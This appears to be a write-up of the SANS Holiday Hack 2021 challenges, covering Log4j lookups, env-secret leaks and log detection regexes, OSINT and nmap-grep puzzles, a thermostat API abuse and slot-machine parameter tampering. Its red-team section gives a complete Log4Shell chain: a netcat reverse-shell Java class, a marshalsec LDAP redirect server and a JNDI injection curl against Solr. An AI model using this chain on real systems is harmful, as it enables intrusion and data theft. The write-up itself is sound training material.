Here we have Java source code (with the .java file name extension), and a vulnerable version of the Log4j library.

Display the contents of the DisplayFilev1.java source code with the 'cat' command.

elfu@af9129760395:~/vulnerable$ cat DisplayFilev1.java
import java.io.*;

public class DisplayFilev1 {
    public static void main(String[] args) throws Exception {

        File file = new File(args[0]);
        BufferedReader br = new BufferedReader(new FileReader(file));

        String st;
        while ((st = br.readLine()) != null) {
            System.out.println(st);
        }
    }
}

This Java program has one job: it reads a file specified as a command-line argument, and displays the contents on the screen. We'll use it as an example of error handling in Java.

Let's compile this Java source so we can run it. Run the command 'javac DisplayFilev1.java'.

elfu@af9129760395:~/vulnerable$ javac DisplayFilev1.java

Nice work! You just compiled the Java program. Next, run the program and display the contents of the testfile.txt file.

Run 'java DisplayFilev1 testfile.txt'

elfu@af9129760395:~/vulnerable$ java DisplayFilev1 testfile.txt
Hello from Prof. Petabyte!

This program did its job: it displayed the testfile.txt contents. But it also has some problems. Re-run the last command, this time trying to read testfile2.txt

elfu@af9129760395:~/vulnerable$ java DisplayFilev1 testfile2.txt
Exception in thread "main" java.io.FileNotFoundException: testfile2.txt (No such file or directory)
        at java.io.FileInputStream.open0(Native Method)
        at java.io.FileInputStream.open(FileInputStream.java:195)
        at java.io.FileInputStream.<init>(FileInputStream.java:138)
        at java.io.FileReader.<init>(FileReader.java:72)
        at DisplayFilev1.main(DisplayFilev1.java:7)

This program doesn't gracefully handle a scenario where the file doesn't exist. Program exceptions like this one need consistent handling and logging, which is where Log4j comes in.

The Apache Log4j library allows developers to handle logging consistently in code.

Let's look at an example of a modified version of this program. Run 'cat DisplayFilev2.java'.

elfu@af9129760395:~/vulnerable$ cat DisplayFilev2.java
import java.io.*;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public class DisplayFilev2 {
    static Logger logger = LogManager.getLogger(DisplayFilev2.class);
    public static void main(String[] args) throws Exception {
        String st;
        try {
            File file = new File(args[0]);
            BufferedReader br = new BufferedReader(new FileReader(file));

            while ((st = br.readLine()) != null)
                System.out.println(st);
        }
        catch (Exception e) {
            logger.error("Unable to read file " + args[0] + " (make sure you specify a valid file name).");
        }
    }
}

This Java program has the same functionality, but the first few lines adds support for the log4j library. The 4th line from the bottom calls Log4j with the logger.error() function, followed by a logging message.

Let's compile this Java source with Log4j support so we can run it. Run the command 'javac DisplayFilev2.java'.

elfu@af9129760395:~/vulnerable$ javac DisplayFilev2.java

Nice work! Let's run the program and tell it to read testfile2.txt file.

Run 'java DisplayFilev2 testfile2.txt'

elfu@af9129760395:~/vulnerable$ java DisplayFilev2 testfile2.txt
11:14:34.325 [main] ERROR DisplayFilev2 - Unable to read file testfile2.txt (make sure you specify a valid file name).

This time, the program doesn't crash - it exits with an error message generated by Log4j. The Log4j library is valuable to produce consistent logging messages that can be handled flexibly. Unfortunately, multiple vulnerabilities allows attackers to manipulate this functionality in many versions of Log4j 2 before version 2.17.0.

The CVE-2021-44228 Log4j vulnerability is from improper input validation. Log4j includes support for lookup features, where an attacker can supply input that retrieves more data than intended from the system.

Re-run the prior java command, replacing testfile2.txt with the string '${java:version}' (IMPORTANT: include the quotation marks in this command)

elfu@af9129760395:~/vulnerable$ java DisplayFilev2 '${java:version}'
11:16:41.204 [main] ERROR DisplayFilev2 - Unable to read file Java version 1.8.0_312 (make sure you specify a valid file name).

Notice how the error has changed - instead of a file name, the error shows the Java version information. The Log4j lookup command java:version retrieves information from the host operating system.

Let's try another example: re-run the last command, changing the java:version string to env:APISECRET

elfu@af9129760395:~/vulnerable$ java DisplayFilev2 '${env:APISECRET}'
11:17:21.005 [main] ERROR DisplayFilev2 - Unable to read file pOFZFiWHjqKoQaRhNYyC (make sure you specify a valid file name).

Using the Log4j env lookup, attackers can access local environment variables, possibly disclosing secrets like this one. Log4j also supports lookup requests using the Java Naming and Directory Interface (JNDI).

These requests can reach out to an attacker server to request data.

Log4j lookups can also tell the vulnerable server to contact the attacker using LDAP and DNS. Run the startserver.sh command to launch a simple server for testing purposes.

elfu@af9129760395:~/vulnerable$
Listening on 0.0.0.0 1389

The bottom window is waiting for a connection at the specified IP address and port. Re-run the DisplayFilev2 program, using the Log4j lookup to connect to the server: java DisplayFilev2 '${jndi:ldap://127.0.0.1:1389/Exploit}'

Connection received on 127.0.0.1 42576

Notice how the server received a connection from the vulnerable application in the server ("Connection received")? This is a critical part of the Log4j vulnerability, where an attacker can force a server to connect to an attacking system to exploit the vulnerability.

Press CTRL+C to close the DisplayFilev2 program and continue with this lesson.

To address this vulnerability, applications need an updated version of Log4j.

Change to the ~/patched directory by running 'cd ~/patched'

elfu@af9129760395:~/vulnerable$ cd ~/patched/

List the contents of this directory with the 'ls' command.

elfu@af9129760395:~/patched$ ls
DisplayFilev2.java  classpath.sh  log4j-api-2.17.0.jar  log4j-core-2.17.0.jar

This is the same DisplayFilev2.java source, but the Log4j library is updated to a patched version.

To use the updated library, change the Java CLASSPATH variable by running 'source classpath.sh'

elfu@af9129760395:~/patched$ source classpath.sh
Changing the Java CLASSPATH to use patched Log4j

Compile the DisplayFilev2.java source using the patched Log4j library. Run 'javac DisplayFilev2.java'

elfu@af9129760395:~/patched$ javac DisplayFilev2.java

Use the Log4j lookup string java:version by running the following command: java DisplayFilev2 '${java:version}' IMPORTANT: include the quotation marks in this command.

elfu@af9129760395:~/patched$ java DisplayFilev2 '${java:version}'
11:24:09.309 [main] ERROR DisplayFilev2 - Unable to read file ${java:version} (make sure you specify a valid file name).

With the fixed Log4j library, attackers can't use the lookup feature to exploit library. The same program displays the ${java:version} lookup as a literal string, without performing the actual lookup.

Next, we'll look at a technique to scan applications for the vulnerable Log4j library. Run 'cd' to return to the home directory.

elfu@af9129760395:~/patched$ cd

The log4j2-scan utility is a tool to scan for vulnerable Log4j application use. Run the log4j2-scan utility, specifying the vulnerable directory as the first command-line argument.

elfu@af9129760395:~$ ./log4j2-scan ./vulnerable/
Logpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18)
Scanning directory: ./vulnerable/ (without tmpfs, shm)
[*] Found CVE-2021-44228 (log4j 2.x) vulnerability in /home/elfu/./vulnerable/log4j-core-2.14.1.jar, log4j 2.14.1

Scanned 1 directories and 8 files
Found 1 vulnerable files
Found 0 potentially vulnerable files
Found 0 mitigated files
Completed in 0.00 seconds

Log4j2-scan quickly spots the vulnerable version of Log4j.

Repeat this command, changing the search directory to patched.

elfu@af9129760395:~$ ./log4j2-scan ./patched/
Logpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18)
Scanning directory: ./patched/ (without tmpfs, shm)

Scanned 1 directories and 5 files
Found 0 vulnerable files
Found 0 potentially vulnerable files
Found 0 mitigated files
Completed in 0.00 seconds

Log4j2-scan can also scan large directories of files.

This server includes the Apache Solr software that uses Log4j in the /var/www/solr directory. Scan this directory with log4j2-scan to identify if the server is vulnerable.

elfu@af9129760395:~$ ./log4j2-scan /var/www/solr/
Logpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18)
Scanning directory: /var/www/solr/ (without tmpfs, shm)
[*] Found CVE-2021-44228 (log4j 2.x) vulnerability in /var/www/solr/server/lib/ext/log4j-core-2.14.1.jar, log4j 2.14.1
[*] Found CVE-2021-44228 (log4j 2.x) vulnerability in /var/www/solr/contrib/prometheus-exporter/lib/log4j-core-2.14.1.jar, log4j 2.14.1

Scanned 102 directories and 1988 files
Found 2 vulnerable files
Found 0 potentially vulnerable files
Found 0 mitigated files
Completed in 0.39 seconds

Log4j2-scan finds two vulnerable Log4j libraries: one for the Solr platform, and one for a third-party plugin. Both need to be patched to resolve the vulnerability.

Next, we'll look at scanning system logs for signs of Log4j attack.

The CVE-2021-44228 Log4j exploit using JNDI for access is known as Log4shell. It uses the JNDI lookup feature to manipulate logs, gain access to data, or run commands on the vulnerable server. Web application servers are a common target.

Let's scan the web logs on this server. Examine the files in the /var/log/www directory.

elfu@af9129760395:~$ ls /var/log/www
access.log

We can scan web server logs to find requests that include the Log4j lookup syntax using a text pattern matching routine known as a regular expression. Examine the contents of the logshell-search.sh script using 'cat'

elfu@af9129760395:~$ cat logshell-search.sh
#!/bin/sh
grep -E -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' $1

This script recursively searches for Log4shell attack syntax in any files. Run the logshell-search.sh command, specifying the /var/log/www directory as the search target.

elfu@af9129760395:~$ ./logshell-search.sh /var/log/www/
/var/log/www/access.log:10.26.4.27 - - [14/Dec/2021:11:21:14 +0000] "GET /solr/admin/cores?foo=${jndi:ldap://10.26.4.27:1389/Evil} HTTP/1.1" 200 1311 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:64.0) Gecko/20100101 Firefox/64.0"
/var/log/www/access.log:10.99.3.1 - - [08/Dec/2021:19:41:22 +0000] "GET /site.webmanifest HTTP/1.1" 304 0 "-" "${jndi:dns://10.99.3.43/NothingToSeeHere}"
/var/log/www/access.log:10.3.243.6 - - [08/Dec/2021:19:43:35 +0000] "GET / HTTP/1.1" 304 0 "-" "${jndi:ldap://10.3.243.6/DefinitelyLegitimate}"

In this output we see three examples of Log4shell attack. Let's look at each line individually.

Re-run the previous command, piping the output to | sed '1!d' to focus on the first line.

elfu@af9129760395:~$ ./logshell-search.sh /var/log/www/ | sed '1!d'
/var/log/www/access.log:10.26.4.27 - - [14/Dec/2021:11:21:14 +0000] "GET /solr/admin/cores?foo=${jndi:ldap://10.26.4.27:1389/Evil} HTTP/1.1" 200 1311 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:64.0) Gecko/20100101 Firefox/64.0"

In this first attack, we see the attacker is at 10.26.4.27. The Log4j lookup command is sent as a URL GET parameter, attempting to use JDNI to reach the attacker LDAP server at ldap://10.26.4.27:1389 (see in the ${jndi:ldap://10.26.4.27:1389/Evil} string).

Re-run the previous command, this time looking at the 2nd line of output.

elfu@af9129760395:~$ ./logshell-search.sh /var/log/www/ | sed '2!d'
/var/log/www/access.log:10.99.3.1 - - [08/Dec/2021:19:41:22 +0000] "GET /site.webmanifest HTTP/1.1" 304 0 "-" "${jndi:dns://10.99.3.43/NothingToSeeHere}"

In this second attack, we see the attacker is at 10.99.3.1. Instead of a URL GET parameter, this time the exploit is sent through the browser User-Agent field. The attacker attempted to use JDNI to reach the attacker DNS server at dns://10.99.3.43, using a different IP than the exploit delivery address.

Re-run the previous command, this time looking at the 3rd line of output.

elfu@af9129760395:~$ ./logshell-search.sh /var/log/www/ | sed '3!d'
/var/log/www/access.log:10.3.243.6 - - [08/Dec/2021:19:43:35 +0000] "GET / HTTP/1.1" 304 0 "-" "${jndi:ldap://10.3.243.6/DefinitelyLegitimate}"

Here we see the attacker is at 10.3.243.6. This attack is also sent through the browser User Agent field, but this more closely resembles the first attack using the attacker LDAP server at 10.3.243.6. The DefinitelyLegitimate string is supplied by the attacker, matching a malicious Java class on the LDAP server to exploit the victim Log4j instance.

🍬🍬🍬🍬Congratulations!🍬🍬🍬🍬 You've completed the lesson on Log4j vulnerabilities.

Icky McGoop's red team Cranberry Pi Challenge

This time, we're exploring the red side of the force: we're supposed to exploit Log4Shell against an Apache Solr installation:

You're just in time to help us!

Jack has asked us to look into a server running Java Solr over at Kringle Castle.
Can you investigate the system at http://solrpower.kringlecastle.com:8983? If you
can get access to the /home/solr/kringle.txt file, that would be even better.

Exploit the server then run runtoanswer to submit your answer.
We've setup some servers to aid you: a web server using the web/ directory listening
on port 8080, and a Netcat listener on TCP port 4444.

If you want assistance, see the HELP.md file, or browse to
http://kringlecon.com/yulelog4jackhelp for assistance.
~$

We have several terminals open:

An HTTP server listening on TCP port 8080, serving the content of web/.
An ncat listening on TCP port 4444.
Two empty terms.

Let's take a look at the content of our home folder:

~$ ls
HELP.md  mainterm.sh  marshalsec  web
~$ ls -lh marshalsec/
total 41M
-rw-r--r-- 1 troll troll 41M Dec 18 22:43 marshalsec-0.0.3-SNAPSHOT-all.jar

We have the JAR file for marshalsec. Knowing what we know of Log4Shell, reading the README gives us the existence of JNDI Reference indirection. We can use the marshalsec.jndi.LDAPRefServer implementation to have a fake LDAP server listening and ready to redirect our victim to our malicious HTTP server.

Now, we can create our malicious Java code. Since we have a netcat listening, let's just create a basic reverse shell, with the following code:

// File ReverseShell.java
public class ReverseShell {
    static {
        try {
            // Make sure you change the IP address to the one of your box
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 172.17.0.2 4444");
        }
        catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Let's compile this Java code:

~/web$ javac ReverseShell.java

Now, we can use marshalsec to create our fake LDAP server:

~/marshalsec$ java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.17.0.2:8080/#ReverseShell"
Listening on 0.0.0.0:1389

All that's remaining is exploiting the Solr installation. To see what kind of parameters are exploitable on Solr , I did a little research and found this comprehensive guide that explains cleary how to exploit it.

I used the /solr/admin/cores?params=inject_here URL:

~$ curl 'http://solrpower.kringlecastle.com:8983/solr/admin/cores?params=$\{jndi:ldap://172.17.0.2:1389/ReverseShell\}'

We can cleary see that our fake LDAP server was interrogated:

Listening on 0.0.0.0:1389
Send LDAP reference result for ReverseShell redirecting to http://172.17.0.2:8080/ReverseShell.class
Send LDAP reference result for ReverseShell redirecting to http://172.17.0.2:8080/ReverseShell.class

In turn, our web server receives the request for our malicious .class file:

Serving HTTP on 172.17.0.2 port 8080 ...
172.17.0.2 - - [03/Jan/2022 11:38:51] "GET /ReverseShell.class HTTP/1.1" 200 -
172.17.0.2 - - [03/Jan/2022 11:38:51] "GET /ReverseShell.class HTTP/1.1" 200 -

And finally, in our netcat term, we get a connect back:

Listening on [172.17.0.2] 4444 ...
connect to [172.17.0.2] from (UNKNOWN) [172.17.0.2] 37922
python3 -c "import pty; pty.spawn('/bin/bash')"
solr@b428502271ab:/opt/solr/server$ whoami
whoami
solr
solr@b428502271ab:/opt/solr/server$ cat /home/solr/kringle.txt
cat /home/solr/kringle.txt
The solution to Log4shell is patching.
Sincerely,

Santa

We can then finally run the runtoanswer executable:

~$ runtoanswer
What is Santa's solution for Log4j?

> patching
Your answer: patching

Checking.....
Your answer is correct!

Where in the World is Caramel Santiago?

We find Tangle Coalbox in Santa's courtyard. They need our help to find one of Santa's missing elf.

Tangle Coalbox says

Hey there, Gumshoe. Tangle Coalbox here again.

I've got a real doozy of a case for you this year.

Turns out some elves have gone on some misdirected journeys around the globe. It seems that someone is messing with their travel plans.

We could sure use your open source intelligence (OSINT) skills to find them.

Why dontcha' log into this vintage Cranberry Pi terminal and see if you have what it takes to track them around the globe.

If you're having any trouble with it, you might ask Piney Sappington right over there for tips.

We click on the Cranberry Pi terminal, and a game starts up:

Where in the World is Caramel Santaigo?

Welcome! In this game you will analyze clues and track an elf around the world. Put clues about your elf in your InterRink portal. Depart by sleigh once you've figured out your next stop.

Be sure to get there by Sunday, gumshoe. Good luck!

Start Game!

Once we click on Start Game, the investigation begins! Here's how the game basically works:

We arrive at a location with a short description.
We have three links:

a. Investigate: we get three clues regarding where the elf is going, and what they are like.

b. Visit InterRink: this is an interface where we can input an elf's characteristics, and filter matching elves. There are five possible characteristics:
1. Language spoken (programming language)
2. Preferred social medium
3. Preferred indents
4. Fandom
5. Pronounces "GIF"
c. Depart by sleigh: this is where we decide where we'll go next to follow the missing elf.

The missing elf is different each time we play the game, so I'll give you the elements I got for my run, but your experience will be different.

We first start at Santa's Castle :

Santa's Castle Monday, 0900

Newly renovated, the castle is again host to the best holiday hacker conference in the world, KringleCon. Security specialists from around the world travel here annually to enjoy each other's company, practice skills, and learn about the latest advancements in information security.

Here's what I got from my investigation here:

The elf wanted to drink gløgg in Tivoli Gardens.
They sent me this blurry selfie of themself or someone they met:

They were dressed for 6.0°C and mist conditions. The elf mentioned something about Stack Overflow and Rust.

Our first clue for InterRink is that they're favorite programming language is Rust. Now, they wanted to drink gløgg in Tivoli Gardens. So they most likely went to Copenhagen. Let's depart by sleigh and select this destination.

Copenhagen, Denmark Monday, 2100

Whether you're ice skating in Tivoli Gardens or eating Risalamande, Copenhagen, Denmark is a wonderful place to enjoy the holidays. Families count down through Christmas Eve with advent calendars and wreaths in their homes.

Here's what I got from my investigation here:

I think they left to check out the Défilé de Noël.
They called me and mentioned they were connected via Rogers Wireless.
They were dressed for 3.7°C and clear conditions. They kept checking their Snapchat app.

Our second clue for InterRink is that their favorite social medium is Snapchat. Now, they're connected via Rogers Wireless, which is a Canadian wireless telephone company. They wanted to check out the Défilé de Noël. So they most likely went to Montréal (un petit bonjour à nos camarades du Québec). Let's select this destination.

Montréal, Canada Tuesday, 1600

French-Canadian city Montréal proudly hosts lovely, unique Christmas traditions. This is home to the Défilé de Noël festival, fairs, fireworks displays, and a decades-old Santa parade. You might even spot Québec City's Bonhomme de Neige.

Here's what I got from my investigation here:

I've heard that when British children put letters to Father Christmas in the fireplace, they magically end up there!
They just contacted us from an address in the 80.95.128.0/20 range.
They were dressed for -1.0°C and light freezing rain conditions. Oh, I noticed they had a Doctor Who themed phone case.

Our third and final clue for InterRink is the elf's fandom, Doctor Who. Now, they contacted us from an address in the 80.95.128.0/20 range. Let's checkout where this is from:

$ whois 80.95.128.0/20
[...]
organisation:   ORG-SSPO1-RIPE
org-name:       Lounea Palvelut Oy
country:        FI
org-type:       LIR
address:        PL 108
address:        24100
address:        Salo
address:        FINLAND
phone:          +358 2970700
admin-c:        TJ458
admin-c:        RP413-RIPE
admin-c:        TJ458
admin-c:        SR1000-RIPE
admin-c:        MR15973-RIPE
abuse-c:        AR15150-RIPE
mnt-ref:        RIPE-NCC-HM-MNT
mnt-ref:        SSPOY-MNT
mnt-by:         RIPE-NCC-HM-MNT
mnt-by:         SSPOY-MNT
created:        2004-04-17T11:20:30Z
last-modified:  2020-12-16T12:32:14Z
source:         RIPE # Filtered
[...]

So they most likely went to Rovaniemi. Let's head out there:

Rovaniemi, Finland Wednesday, 1100

So much like the North Pole, Lapland is where British youngsters send letters to Santa. Enjoy a reindeer sleigh ride, ice fishing, or baking lessons with Mrs. Claus.

Our investigation is complete, let's input our characteristics in InterRink, and filter matching elves. During my run, I found out it was Piney Sappington. Let's tell Tangle Coalbox:

Tangle Coalbox says

You never cease to amaze, Kid. Thanks for your help.

Objective 3:

Greasy Gopherguts's Cranberry Pi Challenge

We're told to find some answer in a nmap result file called bigscan.gnmap. This output file was created by running nmap with the -oG option, which outputs the results as a grep-able file.

Howdy howdy!  Mind helping me with this homew- er, challenge?
Someone ran nmap -oG on a big network and produced this bigscan.gnmap file.
The quizme program has the questions and hints and, incidentally,
has NOTHING to do with an Elf University assignment. Thanks!

Answer all the questions in the quizme executable:
- What port does 34.76.1.22 have open?
- What port does 34.77.207.226 have open?
- How many hosts appear "Up" in the scan?
- How many hosts have a web port open?  (Let's just use TCP ports 80, 443, and 8080)
- How many hosts with status Up have no (detected) open TCP ports?
- What's the greatest number of TCP ports any one host has open?

Check out bigscan.gnmap and type quizme to answer each question.

If you want to try it out yourself, you can download bigscan.gnmap right here.

Let's first see what port 34.76.1.22 has open. I'm using the -w option of grep to avoid matching IPs such as 34.76.1.220 or any other:

elf@dff505dd2d93:~$ grep -w 34.76.1.22 bigscan.gnmap
Host: 34.76.1.22 ()     Status: Up
Host: 34.76.1.22 ()     Ports: 62078/open/tcp//iphone-sync///      Ignored State: closed (999)

Now, let's check for IP 34.77.207.226. I kept the -w to prevent matching IPs such as 134.77.207.226 or any other:

elf@dff505dd2d93:~$ grep -w 34.77.207.226 bigscan.gnmap
Host: 34.77.207.226 ()     Status: Up
Host: 34.77.207.226 ()     Ports: 8080/open/tcp//http-proxy///      Ignored State: filtered (999)

Now, let's count occurrences of the Status: Up string:

elf@dff505dd2d93:~$ grep -c 'Status: Up' bigscan.gnmap
26054

Now, let's search for IPs with TCP ports 80, 443, or 8080 open. I use the \b character in my regular expression. This character represents a word separator. This is to make sure that we don't match prot numbers such as 1080 or any other where our port numbers could be suffixes:

elf@dff505dd2d93:~$ grep -cE '\b(80|443|8080)/open/tcp' bigscan.gnmap
14372

To find the number of IPs who are up but without any open ports, we'll just count the occurrences of Ports: and subtract that number from the number of IPs we found when searching for Status: Up:

elf@dff505dd2d93:~$ grep -c 'Ports:' bigscan.gnmap
25652

The answer is therefore 26054 − 25652 = 402.

For the last question, we'll grep for the string open, with the -n option. This will give us the number of each matching line. We also use the -o option so that only our matching string (open) is displayed with our line number.

This way, we'll have the line number appear as many times as any occurrences of open in that line. We'll then count our line numbers with uniq -c, sort them from greatest to lowest, and get the greatest number with our head command:

elf@dff505dd2d93:~$ grep -no open bigscan.gnmap | cut -d: -f 1 | sort | uniq -c | sort -nr | head -n 1
 12 43460

Line number 43460 appears the most time in our output, with a total of 12 occurrences. This means that there is twelve times the string open in linea 43460. Therefore, the greatest number of open TCP ports for one host is 12.

We launch the quizme command to input each of our answers, until we're finally told: c:ode:You've done it!.

Thaw Frost Tower's Entrance

Alright, let's see what is going on at FrostFest. We walk up to the tower, but the door is frozen, and we can't open it. Let's talk to the troll next to it:

Grimy McTrollkins says

Yo, I'm Grimy McTrollkins.

I'm a troll and I work for the big guy over there: Jack Frost.

I’d rather not be bothered talking with you, but I’m kind of in a bind and need your help.

Jack Frost is so obsessed with icy cold that he accidentally froze shut the door to Frost Tower!

I wonder if you can help me get back in.

I think we can melt the door open if we can just get access to the thermostat inside the building.

That thermostat uses Wi-Fi. And I’ll bet you picked up a Wi-Fi adapter for your badge when you got to the North Pole.

Click on your badge and go to the Items tab. There, you should see your Wi-Fi Dongle and a button to “Open Wi-Fi CLI.” That’ll give you command-line interface access to your badge’s wireless capabilities.

Oooookay, way to be welcoming Grimy. You're lucky I need to enter myself. Alright, let's fire up our Wi-Fi adapter:

ATTENTION ALL ELVES

In Santa's workshop (wireless division), we've been busy adding new Cranberry
Pi features. We're proud to present an experimental version of the Cranberry
Pi, now with Wi-Fi support!

This beta version of the Cranberry Pi has Wi-Fi hardware and software
support using the Linux wireless-tools package. This means you can use iwlist
to search for Wi-Fi networks, and connect with iwconfig! Read the manual
pages to learn more about these commands:

man iwlist

man iwconfig

I'm afraid there aren't a lot of Wi-Fi networks in the North Pole yet, but if
you keep scanning maybe you'll find something interesting.

                                                 - Sparkle Redberry



elf@b7635de6f012:~$

Sweet, we now have Wi-Fi capabilities in our terminal. Let's try to connect to the thermostat over WiFi. First, we need to find the corresponding SSID:

elf@b7635de6f012:~$ iwlist scan
wlan0     Scan completed :
          Cell 01 - Address: 02:4A:46:68:69:21
                    Frequency:5.2 GHz (Channel 40)
                    Quality=48/70  Signal level=-62 dBm
                    Encryption key:off
                    Bit Rates:400 Mb/s
                    ESSID:"FROST-Nidus-Setup"

The SSID is FROST-Nidus-Setup, and there's no authentication. That's naughty! Let's connect to it:

elf@b7635de6f012:~$ iwconfig wlan0 essid FROST-Nidus-Setup
** New network connection to Nidus Thermostat detected! Visit http://nidus-setup:8080/ to complete setup
(The setup is compatible with the 'curl' utility)

Now that we're connected, we can interact with the thermostat using curl:

elf@b7635de6f012:~$ curl http://nidus-setup:8080/
◈──────────────────────────────────────────────────────────────────────────────◈

Nidus Thermostat Setup

◈──────────────────────────────────────────────────────────────────────────────◈

WARNING Your Nidus Thermostat is not currently configured! Access to this
device is restricted until you register your thermostat » /register. Once you
have completed registration, the device will be fully activated.

In the meantime, Due to North Pole Health and Safety regulations
42 N.P.H.S 2600(h)(0) - frostbite protection, you may adjust the temperature.

API

The API for your Nidus Thermostat is located at http://nidus-setup:8080/apidoc

Seems like we need to register against the thermostat before we can interact with it:

elf@b7635de6f012:~$ curl http://nidus-setup:8080/register
◈──────────────────────────────────────────────────────────────────────────────◈

Nidus Thermostat Registration

◈──────────────────────────────────────────────────────────────────────────────◈

Welcome to the Nidus Thermostat registration! Simply enter your serial number
below to get started. You can find the serial number on the back of your
Nidus Thermostat as shown below:

  Serial Number: ______________________


         +------------+
         |   Submit   |
         +------------+

Dang, we need to submit the serial number, but we don't have physical access to the thermostat. The documentation mentioned an API, let's see if we can interact with it:

elf@b7635de6f012:~$ curl http://nidus-setup:8080/apidoc
◈──────────────────────────────────────────────────────────────────────────────◈

Nidus Thermostat API

◈──────────────────────────────────────────────────────────────────────────────◈

The API endpoints are accessed via:

http://nidus-setup:8080/api/<endpoint>

Utilize a GET request to query information; for example, you can check the
temperatures set on your cooler with:

curl -XGET http://nidus-setup:8080/api/cooler

Utilize a POST request with a JSON payload to configuration information; for
example, you can change the temperature on your cooler using:

curl -XPOST -H 'Content-Type: application/json' \
  --data-binary '{"temperature": -40}' \
  http://nidus-setup:8080/api/cooler


● WARNING: DO NOT SET THE TEMPERATURE ABOVE 0! That might melt important furniture

Available endpoints

┌─────────────────────────────┬────────────────────────────────┐
│ Path                        │ Available without registering? │
├─────────────────────────────┼────────────────────────────────┤
│ /api/cooler                 │ Yes                            │
├─────────────────────────────┼────────────────────────────────┤
│ /api/hot-ice-tank           │ No                             │
├─────────────────────────────┼────────────────────────────────┤
│ /api/snow-shower            │ No                             │
├─────────────────────────────┼────────────────────────────────┤
│ /api/melted-ice-maker       │ No                             │
├─────────────────────────────┼────────────────────────────────┤
│ /api/frozen-cocoa-dispenser │ No                             │
├─────────────────────────────┼────────────────────────────────┤
│ /api/toilet-seat-cooler     │ No                             │
├─────────────────────────────┼────────────────────────────────┤
│ /api/server-room-warmer     │ No                             │
└─────────────────────────────┴────────────────────────────────┘

Lucky us, we can interact with the /api/cooler endpoint without registering. We're also told that setting the temperature above 0 will melt important furniture. Maybe like the entrance door? Let's try out:

elf@b7635de6f012:~$ curl -XPOST -H 'Content-Type: application/json' --data-binary '{"temperature": 1337}' http://nidus-setup:8080/api/cooler
{
  "temperature": 1337.89,
  "humidity": 45.81,
  "wind": 31.75,
  "windchill": 1747.3,
  "WARNING": "ICE MELT DETECTED!"
}

Bingo, the ice around the door melted!

Grimy McTrollkins says

Great - now I can get back in!

Objective 4:

Noel Boetie's Cranberry Pi Challenge

This Cranberry Pi challenge is some kind of logic game. We move Chompy around on a grid containing logic statements, and we must chomp the one that evaluate to True, while evading Trollog.

There are several difficulty levels:

Beginner (Stage 0)
Intermediate (Stage 3)
Advanced (Stage 6)
Expert (Stage 9)

There are also different kinds of logic statements

Boolean Logic
Arithmetic Expressions
Number Conversions
Bitwise Operations
Potpourri (a mix of all of them)

The game tells us that we must complete a stage in Potpourri at Intermediate or higher to win.

This is just a matter of quickly evaluating which statements are True or False, there's no trick as far as I can tell. So just, you know, move around with your arrow keys, chomping True statements by pressing the space bar, and evading Trollog and you'll be fine.

Slot Machine Investigation

We can now enter Frost Tower! Jack Frost is greeting us in the lobby:

Jack Frost says

Welcome to Frost Tower and Casino, the epicenter of the Frostiest Place on Earth™!

We’ll be running the Holiday Season from this point on, doing things far better than those amateurs at Santa’s castle.

Sadly, they just don’t understand the true meaning of the holidays.

Feel free to explore, place some bets on certain slot machines, and visit the gift store on your way out to shop to your heart's content. Money, money, money!

That's the true meaning of the holiday season.

And don't forget: Tell all your friends to come to FrostFest and stay away from that lame con next door!

Jack Frost seems to think that Christmas is all about money. But we all know that Christmas is about learning and pwning! Let's take a look at his slot machines.

Let's give this baby a spin and see the underlying HTTP requests:

POST /api/v1/02b05459-0d09-4881-8811-9a2a7e28fd45/spin HTTP/1.1
Host: slots.jackfrosttower.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Referer: https://slots.jackfrosttower.com/uploads/games/frostyslots-206983/index.html
Content-Type: application/x-www-form-urlencoded
X-Ncash-Token: 27d2b871-d3c4-42f1-86f0-008c7c74e6bf
Origin: https://slots.jackfrosttower.com
Content-Length: 30

betamount=1&numline=20&cpl=0.1

HTTP/1.1 200 OK
Date: Mon, 13 Dec 2021 13:43:11 GMT
Date: Mon, 13 Dec 2021 13:43:11 GMT
X-Powered-By: PHP/7.4.26
Cache-Control: no-cache, private
Content-Type: application/json
X-Ratelimit-Limit: 60
X-Ratelimit-Remaining: 59
Access-Control-Allow-Origin: *
Via: 1.1 google
Alt-Svc: clear

{"success":true,"data":{"credit":98,"jackpot":0,"free_spin":0,"free_num":0,"scaler":0,"num_line":20,"bet_amount":1,"pull":{"WinAmount":0,"FreeSpin":0,"WildFixedIcons":[],"HasJackpot":false,"HasScatter":false,"WildColumIcon":"","ScatterPrize":0,"SlotIcons":["scatter","icon6","icon2","icon7","wild","scatter","icon9","icon5","icon1","icon2","icon3","wild","icon7","icon8","icon8"],"ActiveIcons":[],"ActiveLines":[]},"response":"Keep playing!"},"message":"Spin success"}

So, the betamount parameter seems to correspond to the bet level, and cpl seems to correspond to the bet size.

I first try messing with the parameters by betting more than what was in my credit bank, but it didn't work. So I thought that I'd try betting negative amounts. I first try with the betamount paramter, but it didn't work:

POST /api/v1/02b05459-0d09-4881-8811-9a2a7e28fd45/spin HTTP/1.1
Host: slots.jackfrosttower.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://slots.jackfrosttower.com/uploads/games/frostyslots-206983/index.html
Content-Type: application/x-www-form-urlencoded
X-Ncash-Token: 27d2b871-d3c4-42f1-86f0-008c7c74e6bf
Origin: https://slots.jackfrosttower.com
Content-Length: 31
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

betamount=-1&numline=20&cpl=0.1

HTTP/1.1 404 Not Found
Date: Mon, 13 Dec 2021 13:44:00 GMT
Date: Mon, 13 Dec 2021 13:44:00 GMT
X-Powered-By: PHP/7.4.26
